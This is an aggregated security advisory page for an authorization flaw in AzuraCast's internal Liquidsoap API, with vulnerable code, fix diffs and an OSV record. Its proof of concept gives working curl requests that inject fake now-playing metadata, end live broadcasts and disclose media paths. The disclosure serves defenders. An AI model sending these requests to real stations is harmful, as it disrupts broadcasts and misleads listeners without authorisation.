GHSA-4fm3-ggg2-c6qx: Azuracast/azuracast AzuraCast's Missing RequireInternalConnection On Liquidsoap Vulnerability

MODERATE
CVSS 6.3
CWE-862
Published
Advisory Summary

GHSA-4fm3-ggg2-c6qx is a MODERATE (CVSS 6.3) azuracast's missing requireinternalconnection on liquidsoap vulnerability (CWE-862: Missing Authorization) affecting Azuracast/azuracast libraries in the Packagist ecosystem. The issue involves azuracast's missing requireinternalconnection on liquidsoap api allows low-privilege metadata injection and broadcast disruption. Remediation is available by upgrading affected packages to version 0.23.6.

GHSA-4fm3-ggg2-c6qx at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-4fm3-ggg2-c6qx
Severity MODERATE
CVSS v3.1 Base Score 6.3
CWE Classification CWE-862: Missing Authorization
Affected Product Azuracast/azuracast
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix GHSA-4fm3-ggg2-c6qx

To remediate this vulnerability, upgrade all affected Azuracast/azuracast dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

azuracast/azuracast fixed: 0.23.6
Upgrade azuracast/azuracast to 0.23.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for azuracast/azuracast

How to Check if You Are Affected

To determine whether your application is affected by GHSA-4fm3-ggg2-c6qx, inspect your project dependencies for Azuracast/azuracast:

inspect dependencies for azuracast/azuracast

Analyze the terminal output to locate any version of Azuracast/azuracast in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.23.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Azuracast/azuracast, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `/api/internal/{station_id}/liquidsoap/{action}` endpoint is accessible from the public web interface because it lacks the `RequireInternalConnection` middleware that protects other internal endpoints (`/sftp-auth`, `/sftp-event`). Combined with a logic flaw where the `$asAutoDj` flag is set based on the *presence* of the `X-Liquidsoap-Api-Key` header rather than its *validated value*, any user with the basic `View` station permission can invoke privileged Liquidsoap commands — injecting arbitrary now-playing metadata visible to all listeners, disrupting live broadcast tracking, and disclosing absolute filesystem paths. ## Details **Issue 1: Missing RequireInternalConnection middleware** In `backend/config/routes/api_internal.php`, the liquidsoap route group (lines 17-21) lacks the `RequireInternalConnection` middleware: ```php // Lines 17-21 — NO RequireInternalConnection $group->map( ['GET', 'POST'], '/liquidsoap/{action}', Controller\Api\Internal\LiquidsoapAction::class )->setName('api:internal:liquidsoap'); ``` Compare with sftp endpoints that correctly apply it: ```php // Lines 32-34 — HAS RequireInternalConnection $group->post('/sftp-auth', Controller\Api\Internal\SftpAuthAction::class) ->setName('api:internal:sftp-auth') ->add(Middleware\RequireInternalConnection::class); ``` The nginx config (`util/docker/web/nginx/azuracast.conf.tmpl`) only sets the `IS_INTERNAL` FastCGI parameter on the internal port 6010 listener (line 44), not on the public-facing server block (ports 80/443). Without the middleware, the endpoint is fully accessible from the public internet. **Issue 2: `$asAutoDj` derived from header presence, not validated value** In `backend/src/Controller/Api/Internal/LiquidsoapAction.php`: ```php // Line 34 — checks header PRESENCE, not value $asAutoDj = $request->hasHeader('X-Liquidsoap-Api-Key'); // Lines 38-44 — key value only checked when ACL FAILS $acl = $request->getAcl(); if (!$acl->isAllowed(StationPermissions::View, $station->id)) { $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key'); if (!$station->validateAdapterApiKey($authKey)) { throw new RuntimeException('Invalid API key.'); } } ``` When a user authenticates via session/API key and has `StationPermissions::View`, the ACL check passes and the adapter API key is never validated. But `$asAutoDj` is already `true` from line 34 because the header is present (with any arbitrary value). **Affected commands:** - `FeedbackCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/FeedbackCommand.php:36`): Guard `if (!$asAutoDj) return false;` bypassed — creates SongHistory records and forces NowPlaying cache updates - `DjOffCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/DjOffCommand.php:24`): Guard bypassed — calls `$this->streamerRepo->onDisconnect($station)` which ends all active broadcasts and sets `$station->is_streamer_live = false` - `DjOnCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/DjOnCommand.php:31`): Guard bypassed — calls `$this->streamerRepo->onConnect($station, $user)` with attacker-controlled username - `CopyCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/CopyCommand.php:18`): No `$asAutoDj` guard at all — returns absolute filesystem paths via `$mediaFs->getLocalPath($uri)` ## PoC **Prerequisites:** A user account with `StationPermissions::View` on station ID 1 (the lowest station-level permission). Obtain a session cookie or API key for this user. **1. Inject arbitrary now-playing metadata (FeedbackCommand):** ```bash curl -X POST 'https://target/api/internal/1/liquidsoap/feedback' \ -H 'X-API-Key: <view-user-api-key>' \ -H 'X-Liquidsoap-Api-Key: anything' \ -H 'Content-Type: application/json' \ -d '{"artist": "INJECTED", "title": "Fake Song Title"}' ``` Expected: Should reject — user does not have the adapter API key. Actual: Returns `true`. The injected artist/title appears in `/api/nowplaying/1` for all listeners. **2. Disrupt live broadcast (DjOffCommand):** ```bash curl -X POST 'https://target/api/internal/1/liquidsoap/djoff' \ -H 'X-API-Key: <view-user-api-key>' \ -H 'X-Liquidsoap-Api-Key: anything' ``` Expected: Should reject. Actual: Returns `true`. All active broadcast records for the station are terminated (`timestampEnd` set), `is_streamer_live` set to `false`, and `current_streamer` cleared. **3. Disclose filesystem paths (CopyCommand):** ```bash curl -X POST 'https://target/api/internal/1/liquidsoap/cp' \ -H 'X-API-Key: <view-user-api-key>' \ -H 'Content-Type: application/json' \ -d '{"uri": "test.mp3"}' ``` Expected: Should reject — this is an internal-only endpoint. Actual: Returns `{"uri":"/var/azuracast/stations/1/media/test.mp3","isTemp":false}` — disclosing the absolute filesystem path of the station's media storage. ## Impact Any user with the basic `StationPermissions::View` permission (the lowest station-level role, commonly assigned to DJs and collaborators) can: 1. **Inject arbitrary now-playing metadata** visible to all listeners via the public NowPlaying API and any connected players/widgets. This poisons the song history database and triggers cache updates that propagate the false data to all consumers. 2. **Disrupt live broadcasts** by terminating all active broadcast records and marking the station as having no live streamer, even when a DJ is actively broadcasting. This affects broadcast recording and live-DJ tracking. 3. **Fake DJ connections** with arbitrary usernames via the `djon` command, polluting streamer logs and potentially interfering with DJ scheduling. 4. **Disclose absolute filesystem paths** of the station's media storage directory via the `cp` command (no `$asAutoDj` guard required), which aids further attacks against the server. ## Recommended Fix **Fix 1: Add `RequireInternalConnection` middleware to the liquidsoap route group.** In `backend/config/routes/api_internal.php`, add the middleware to the station group: ```php $group->group( '/{station_id}', function (RouteCollectorProxy $group) { $group->map( ['GET', 'POST'], '/liquidsoap/{action}', Controller\Api\Internal\LiquidsoapAction::class )->setName('api:internal:liquidsoap') + ->add(Middleware\RequireInternalConnection::class); // Icecast internal auth functions $group->map( ['GET', 'POST'], '/listener-auth[/{api_auth}]', Controller\Api\Internal\ListenerAuthAction::class )->setName('api:internal:listener-auth'); } )->add(Middleware\GetStation::class); ``` **Fix 2: Validate the API key value before setting `$asAutoDj`.** In `backend/src/Controller/Api/Internal/LiquidsoapAction.php`, move `$asAutoDj` assignment after key validation: ```php - $asAutoDj = $request->hasHeader('X-Liquidsoap-Api-Key'); + $asAutoDj = false; try { $acl = $request->getAcl(); if (!$acl->isAllowed(StationPermissions::View, $station->id)) { $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key'); if (!$station->validateAdapterApiKey($authKey)) { throw new RuntimeException('Invalid API key.'); } + $asAutoDj = true; + } else { + // Even ACL-authenticated users must provide valid adapter key for AutoDJ operations + $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key'); + $asAutoDj = !empty($authKey) && $station->validateAdapterApiKey($authKey); } ``` Both fixes should be applied. Fix 1 is the primary defense (defense in depth — this endpoint should never be publicly accessible). Fix 2 corrects the logic flaw so that `$asAutoDj` is only `true` when the adapter API key is actually valid, regardless of how authentication was performed.

GHSA-4fm3-ggg2-c6qx Affected Azuracast/azuracast Versions

1 component(s)
Fixed Versions:
0.23.6
Product / Package Ecosystem Affected Versions Fixed Version
azuracast/azuracast
Packagist
< 0.23.6
0.23.6

References

Frequently Asked Questions

What is GHSA-4fm3-ggg2-c6qx?
GHSA-4fm3-ggg2-c6qx is a security vulnerability in Azuracast/azuracast involving AzuraCast's Missing RequireInternalConnection on Liquidsoap API Allows Low-Privilege Metadata Injection and Broadcast Disruption under CWE-862: Missing Authorization.
Which Azuracast/azuracast versions are affected?
Affected versions include releases prior to 0.23.6 across affected packages: azuracast/azuracast.
What version fixes GHSA-4fm3-ggg2-c6qx?
Upgrading to 0.23.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is azuracast/azuracast affected?
Yes, azuracast/azuracast is affected in releases prior to 0.23.6. Upgrade your dependency to 0.23.6 or later.
What is the CVSS score of GHSA-4fm3-ggg2-c6qx?
GHSA-4fm3-ggg2-c6qx has a CVSS v3.1 base score of 6.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L.
What CWE is associated with GHSA-4fm3-ggg2-c6qx?
GHSA-4fm3-ggg2-c6qx is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Packagist dependencies for GHSA-4fm3-ggg2-c6qx?
Run the dependency tree command: 'inspect dependencies for azuracast/azuracast'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4fm3-ggg2-c6qx",
  "modified" : "2026-05-04T21:18:23Z",
  "published" : "2026-05-04T21:18:22Z",
  "aliases" : [ ],
  "summary" : "AzuraCast's Missing RequireInternalConnection on Liquidsoap API Allows Low-Privilege Metadata Injection and Broadcast Disruption",
  "details" : "## Summary\n\nThe `/api/internal/{station_id}/liquidsoap/{action}` endpoint is accessible from the public web interface because it lacks the `RequireInternalConnection` middleware that protects other internal endpoints (`/sftp-auth`, `/sftp-event`). Combined with a logic flaw where the `$asAutoDj` flag is set based on the *presence* of the `X-Liquidsoap-Api-Key` header rather than its *validated value*, any user with the basic `View` station permission can invoke privileged Liquidsoap commands — injecting arbitrary now-playing metadata visible to all listeners, disrupting live broadcast tracking, and disclosing absolute filesystem paths.\n\n## Details\n\n**Issue 1: Missing RequireInternalConnection middleware**\n\nIn `backend/config/routes/api_internal.php`, the liquidsoap route group (lines 17-21) lacks the `RequireInternalConnection` middleware:\n\n```php\n// Lines 17-21 — NO RequireInternalConnection\n$group->map(\n    ['GET', 'POST'],\n    '/liquidsoap/{action}',\n    Controller\\Api\\Internal\\LiquidsoapAction::class\n)->setName('api:internal:liquidsoap');\n```\n\nCompare with sftp endpoints that correctly apply it:\n\n```php\n// Lines 32-34 — HAS RequireInternalConnection\n$group->post('/sftp-auth', Controller\\Api\\Internal\\SftpAuthAction::class)\n    ->setName('api:internal:sftp-auth')\n    ->add(Middleware\\RequireInternalConnection::class);\n```\n\nThe nginx config (`util/docker/web/nginx/azuracast.conf.tmpl`) only sets the `IS_INTERNAL` FastCGI parameter on the internal port 6010 listener (line 44), not on the public-facing server block (ports 80/443). Without the middleware, the endpoint is fully accessible from the public internet.\n\n**Issue 2: `$asAutoDj` derived from header presence, not validated value**\n\nIn `backend/src/Controller/Api/Internal/LiquidsoapAction.php`:\n\n```php\n// Line 34 — checks header PRESENCE, not value\n$asAutoDj = $request->hasHeader('X-Liquidsoap-Api-Key');\n\n// Lines 38-44 — key value only checked when ACL FAILS\n$acl = $request->getAcl();\nif (!$acl->isAllowed(StationPermissions::View, $station->id)) {\n    $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');\n    if (!$station->validateAdapterApiKey($authKey)) {\n        throw new RuntimeException('Invalid API key.');\n    }\n}\n```\n\nWhen a user authenticates via session/API key and has `StationPermissions::View`, the ACL check passes and the adapter API key is never validated. But `$asAutoDj` is already `true` from line 34 because the header is present (with any arbitrary value).\n\n**Affected commands:**\n\n- `FeedbackCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/FeedbackCommand.php:36`): Guard `if (!$asAutoDj) return false;` bypassed — creates SongHistory records and forces NowPlaying cache updates\n- `DjOffCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/DjOffCommand.php:24`): Guard bypassed — calls `$this->streamerRepo->onDisconnect($station)` which ends all active broadcasts and sets `$station->is_streamer_live = false`\n- `DjOnCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/DjOnCommand.php:31`): Guard bypassed — calls `$this->streamerRepo->onConnect($station, $user)` with attacker-controlled username\n- `CopyCommand` (`backend/src/Radio/Backend/Liquidsoap/Command/CopyCommand.php:18`): No `$asAutoDj` guard at all — returns absolute filesystem paths via `$mediaFs->getLocalPath($uri)`\n\n## PoC\n\n**Prerequisites:** A user account with `StationPermissions::View` on station ID 1 (the lowest station-level permission). Obtain a session cookie or API key for this user.\n\n**1. Inject arbitrary now-playing metadata (FeedbackCommand):**\n\n```bash\ncurl -X POST 'https://target/api/internal/1/liquidsoap/feedback' \\\n  -H 'X-API-Key: <view-user-api-key>' \\\n  -H 'X-Liquidsoap-Api-Key: anything' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"artist\": \"INJECTED\", \"title\": \"Fake Song Title\"}'\n```\n\nExpected: Should reject — user does not have the adapter API key.\nActual: Returns `true`. The injected artist/title appears in `/api/nowplaying/1` for all listeners.\n\n**2. Disrupt live broadcast (DjOffCommand):**\n\n```bash\ncurl -X POST 'https://target/api/internal/1/liquidsoap/djoff' \\\n  -H 'X-API-Key: <view-user-api-key>' \\\n  -H 'X-Liquidsoap-Api-Key: anything'\n```\n\nExpected: Should reject.\nActual: Returns `true`. All active broadcast records for the station are terminated (`timestampEnd` set), `is_streamer_live` set to `false`, and `current_streamer` cleared.\n\n**3. Disclose filesystem paths (CopyCommand):**\n\n```bash\ncurl -X POST 'https://target/api/internal/1/liquidsoap/cp' \\\n  -H 'X-API-Key: <view-user-api-key>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"uri\": \"test.mp3\"}'\n```\n\nExpected: Should reject — this is an internal-only endpoint.\nActual: Returns `{\"uri\":\"/var/azuracast/stations/1/media/test.mp3\",\"isTemp\":false}` — disclosing the absolute filesystem path of the station's media storage.\n\n## Impact\n\nAny user with the basic `StationPermissions::View` permission (the lowest station-level role, commonly assigned to DJs and collaborators) can:\n\n1. **Inject arbitrary now-playing metadata** visible to all listeners via the public NowPlaying API and any connected players/widgets. This poisons the song history database and triggers cache updates that propagate the false data to all consumers.\n\n2. **Disrupt live broadcasts** by terminating all active broadcast records and marking the station as having no live streamer, even when a DJ is actively broadcasting. This affects broadcast recording and live-DJ tracking.\n\n3. **Fake DJ connections** with arbitrary usernames via the `djon` command, polluting streamer logs and potentially interfering with DJ scheduling.\n\n4. **Disclose absolute filesystem paths** of the station's media storage directory via the `cp` command (no `$asAutoDj` guard required), which aids further attacks against the server.\n\n## Recommended Fix\n\n**Fix 1: Add `RequireInternalConnection` middleware to the liquidsoap route group.**\n\nIn `backend/config/routes/api_internal.php`, add the middleware to the station group:\n\n```php\n$group->group(\n    '/{station_id}',\n    function (RouteCollectorProxy $group) {\n        $group->map(\n            ['GET', 'POST'],\n            '/liquidsoap/{action}',\n            Controller\\Api\\Internal\\LiquidsoapAction::class\n        )->setName('api:internal:liquidsoap')\n+           ->add(Middleware\\RequireInternalConnection::class);\n\n        // Icecast internal auth functions\n        $group->map(\n            ['GET', 'POST'],\n            '/listener-auth[/{api_auth}]',\n            Controller\\Api\\Internal\\ListenerAuthAction::class\n        )->setName('api:internal:listener-auth');\n    }\n)->add(Middleware\\GetStation::class);\n```\n\n**Fix 2: Validate the API key value before setting `$asAutoDj`.**\n\nIn `backend/src/Controller/Api/Internal/LiquidsoapAction.php`, move `$asAutoDj` assignment after key validation:\n\n```php\n- $asAutoDj = $request->hasHeader('X-Liquidsoap-Api-Key');\n+ $asAutoDj = false;\n\n  try {\n      $acl = $request->getAcl();\n      if (!$acl->isAllowed(StationPermissions::View, $station->id)) {\n          $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');\n          if (!$station->validateAdapterApiKey($authKey)) {\n              throw new RuntimeException('Invalid API key.');\n          }\n+         $asAutoDj = true;\n+     } else {\n+         // Even ACL-authenticated users must provide valid adapter key for AutoDJ operations\n+         $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');\n+         $asAutoDj = !empty($authKey) && $station->validateAdapterApiKey($authKey);\n      }\n```\n\nBoth fixes should be applied. Fix 1 is the primary defense (defense in depth — this endpoint should never be publicly accessible). Fix 2 corrects the logic flaw so that `$asAutoDj` is only `true` when the adapter API key is actually valid, regardless of how authentication was performed.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "azuracast/azuracast"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.23.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.23.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-4fm3-ggg2-c6qx"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AzuraCast/AzuraCast/commit/13fa7a71435629147b351d3ee151b8de6acd5c8c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/AzuraCast/AzuraCast"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-04T21:18:22Z",
    "nvd_published_at" : null
  }
}